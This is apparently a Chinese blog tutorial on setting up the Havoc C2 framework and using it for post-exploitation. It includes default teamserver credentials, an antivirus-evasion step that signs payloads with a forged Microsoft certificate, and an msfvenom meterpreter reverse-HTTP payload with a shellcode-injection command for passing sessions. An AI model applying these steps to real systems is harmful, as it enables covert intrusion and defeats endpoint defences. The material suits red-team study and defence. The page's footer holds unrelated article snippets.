Havoc C2

简介

Havoc是一款现代化的、可扩展的后渗透命令控制框架

当前的Havoc版本还处于早期开发版,随着框架的不断成熟,可能会对Havoc的API和核心结构进行大量更改

以下的配置部分只做简单记录,具体细节还是自己去 Wiki指南 查看, 记得给作者一个

安装

依赖

更新kali之后设置依赖项

apt update -y && apt upgrade -y
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm

客户端

进入client里面,编译运行就可以了

cd Havoc/Client
proxychains make
./Havoc

编译前一定还是要配置好上面的依赖,如果缺了就会像这样,这种报错就是缺什么补什么,但像这里缺的spdlog,解决的办法就是下这个包apt-get install libspdlog-dev

编译好会生成Havoc, 赋权运行就会出现连接界面

服务端

他的服务端是go实现的,接着配置依赖。最好设代理,反正我扶墙是下不下来

export GOPROXY=https://goproxy.io
go mod download golang.org/x/sys
go mod download github.com/ugorji/go

如果是新环境就快速配置一下go吧

wget -c https://studygolang.com/dl/golang/go1.19.5.linux-amd64.tar.gz
tar -zxvf go1.19.5.linux-amd64.tar.gz -C /usr/local
vim ~/.profile
export PATH=$PATH:usr/local/go/bin
source ~/.profile
go version

编译之后可以先修改配置文件再运行 ,不改的话就按照他原始的账密连接:5spider:password1234

cd Teamserver
./Install.sh
make
vim profiles/havoc.yaotl

开启服务端

./teamserver server --profile ./profiles/havoc.yaotl -v --debug

连接上了就可以开始探索了

基本使用

监听

新建监听器View -> Listeners -> Add,他这里还多了设置header的地方,其他基本和cs差不多。这里用的ip后续可以利用cloudfare进行隐匿

生成&上线

操作和cs很相似,菜单栏上Attack -> Payload,payload种类目前只有exe和dll

当前的waitforsingleobjectex是无混淆的。其他选项如ekko使用 Win32 API进行混淆 。config也是可以按照Wiki的解释进行修改

生成之后感觉他裸奔过defender没什么希望就没有马上去上线(作者过了三个多月都没更新),先去试了下面的免杀框架。回来试这个的时候很。defender,360,火绒动静均无感。但是不知道是不是这个的原因这个时候桌面上很多系统应用都打不开了,重启之后发现我kde没了???

免杀

尝试了Wiki中提到的这个免杀框架 harriet ,他使用SigThief使用伪造的Microsoft证书对二进制文件进行签名

cd Home-Grown-Red-Team/Harriet
bash setup.sh
bash Harriet.sh

提前用havoc生成bin格式的shell,在这里设置好路径和名称,就会在当前目录下生成

没有添加信任静态,静态360和火绒都可以过

动态同样无感

原始的exe为27/71,混淆后的查杀结果如下:

派生会话

模块功能上havoc还不够成熟,体系也还有待完善。转移会话进行利用就很有必要了,这点也在havoc里实现了:

派生至msf

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.130.5 LPORT=9999 -f raw > /home/kali/Desktop/msftest.bin
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_http
set lhost 192.168.130.5
set lport 9999

在havoc上执行,其中6940为当前的pid

shellcode inject x64 6940 /home/kali/Desktop/msftest.bin

派生至cs

cs同样操作,只需要生成并指定bin格式payload的路径即可

其他的一些后渗透命令还有很多就不一个个试了,练靶场的时候会再详细记录

Havoc C2d的初次使用的更多相关文章

  1. HashTable初次体验

    用惯了数组.ArryList,初次接触到HashTable.Dictionary这种字典储存对于我来说简直就是高大上. 1.到底什么是HashTable HashTable就是哈希表,和数组一样,是一 ...

  2. 初次启动app校验的活动图和分析

    初次启动活动图 version 1 version 2 version 3 根据上图的活动图分析,可能存在较严重的问题: 主线程中如果发现是sdcard的url,则可能进行重命名 FirstEnter ...

  3. 百度地图API试用--(初次尝试)

    2016-03-17: 百度地图API申请key的步骤相对简单,不做过多阐述. 初次使用百度地图API感觉有点神奇,有些功能加进来以后有点问题,注释掉等有空再解决. 代码如下: <%@ page ...

  4. [masmplus]初次使用报external symbol _start 是配置问题

    初次使用masmplus 其中在 codesg segment 使用了 start 标记, 并在end处标明了:end  start  但是默认的masmplus 会提示 start 为 不认识的 e ...

  5. 初次接触json...

    这两天发现很多网站显示图片版块都用了瀑布流模式布局的:随着页面滚动条向下滚动,这种布局还会不断加载数据并附加至当前尾部.身为一个菜鸟级的程序员,而且以后可能会经常与网站打交道,我觉得我还是很有必要去尝 ...

  6. Zookeeper初次使用

    下面介绍Linux系统中Zookeeper的初次使用方法. 1.jdk安装和zookeeper下载 首先从jdk官网中下载jdk文件,然后将文件放在/usr/local/java目录下解压,并打开.b ...

  7. 初次使用IDEA的相关技巧

    前言:由于初次使用IDEA,所以很多配置都不是非常熟悉,经过一下午慢慢熟悉和同事的帮助,终于有所斩获,现在我把这个总结写出来,希望能够帮助初次使用的java工程师. 1:下载和安装 下载地址:http ...

  8. 20145330《Java学习笔记》第一章课后练习8知识总结以及IDEA初次尝试

    20145330<Java学习笔记>第一章课后练习8知识总结以及IDEA初次尝试 题目: 如果C:\workspace\Hello\src中有Main.java如下: package cc ...

  9. 关于初次使用Verilog HDL语言需要懂的基本语法

    关于初次使用Verilog HDL语言需要懂的基本语法 1.常量 数字表达式全面的描述方式为:<位宽><进制><数字> 8’b10101100,表示位宽为8的二进制 ...

  10. 初次使用Docker的体验笔记

    一.前言 Docker容器已经发布许久,但作为一名程序员如今才开始接触,实在是罪过--        在此之前,我还没有对Docker进行过深入的了解,对它的认识仍停留在:这是一种新型的虚拟机.这样的 ...

随机推荐

  1. Arrays.asList():使用指南

    Arrays.asList() 是一个 Java 的静态方法,它可以把一个数组或者多个参数转换成一个 List 集合.这个方法可以作为数组和集合之间的桥梁,方便我们使用集合的一些方法和特性.本文将介绍 ...

  2. Solution -「洛谷 P5659」「CSP-S 2019」树上的数

    Description Link. 联赛原题应该都读过吧-- Solution Part 0 大致思路 主要的思路就是逐个打破,研究特殊的数据得到普通的结论. Part 1 暴力的部分分 暴力的部分分 ...

  3. redis基本数据类型 List

    127.0.0.1:6379> LPUSH test a (integer) 1 127.0.0.1:6379> LPUSH test b (integer) 2 127.0.0.1:63 ...

  4. Go 1.22 中的 For 循环

    原文在这里. 由 David Chase and Russ Cox 发布于2023年9月19日 Go 1.21 版本包含了对 for 循环作用域的预览更改,我们计划在 Go 1.22 中发布此更改,以 ...

  5. math 库中常用的数学运算和常量【GO 基础】

    〇.关于 math GO 语言的 math 库是一个内置的标准库,其中包含了许多数学函数和常量,用于计算各种数学运算和统计学计算. 日常开发中,计算当然是少不了的,那么今天来梳理下备查. 一.测试示例 ...

  6. jmeter的基本功能使用

    jmeter安装配置 1.可以参考教程:https://blog.csdn.net/lfmsky1/article/details/88631190 jmeter简单基础使用步骤 (1)添加线程组 ( ...

  7. Kafka的零拷贝技术Zero-Copy

    传统的拷贝过程 流程步骤: (1)操作系统将数据从磁盘文件中读取到内核空间的页面缓存: (2)应用程序将数据从内核空间读入用户空间缓冲区: (3)应用程序将读到数据写回内核空间并放入socket缓冲区 ...

  8. 如何为你的WSL2更换最新的6.5.7kernel

    1.如果你像我一样,喜欢折腾你的 WSL2 ,这里是安装内核 6.X 的方法. 2.这是一个坏主意,可能会导致系统不稳定.数据损坏和其他问题.也可能会没事的,但不要怪我. Arch linux的wsl ...

  9. Centos7安装Promethus

    安装Prometheus(普罗米修斯)监控: 实验环境准备: 服务器 IP地址 Prometheus服务器 192.168.1.22 被监控服务器 192.168.1.20 grafana服务器 19 ...

  10. QT Recursive repaint detected 检测到递归重绘

    1.打印绘图时的线程号,如果与主线程号不一致,则需要使用信号传递数据,在主线程窗体中绘图 如下: qDebug() << "当前线程:" <<QThread ...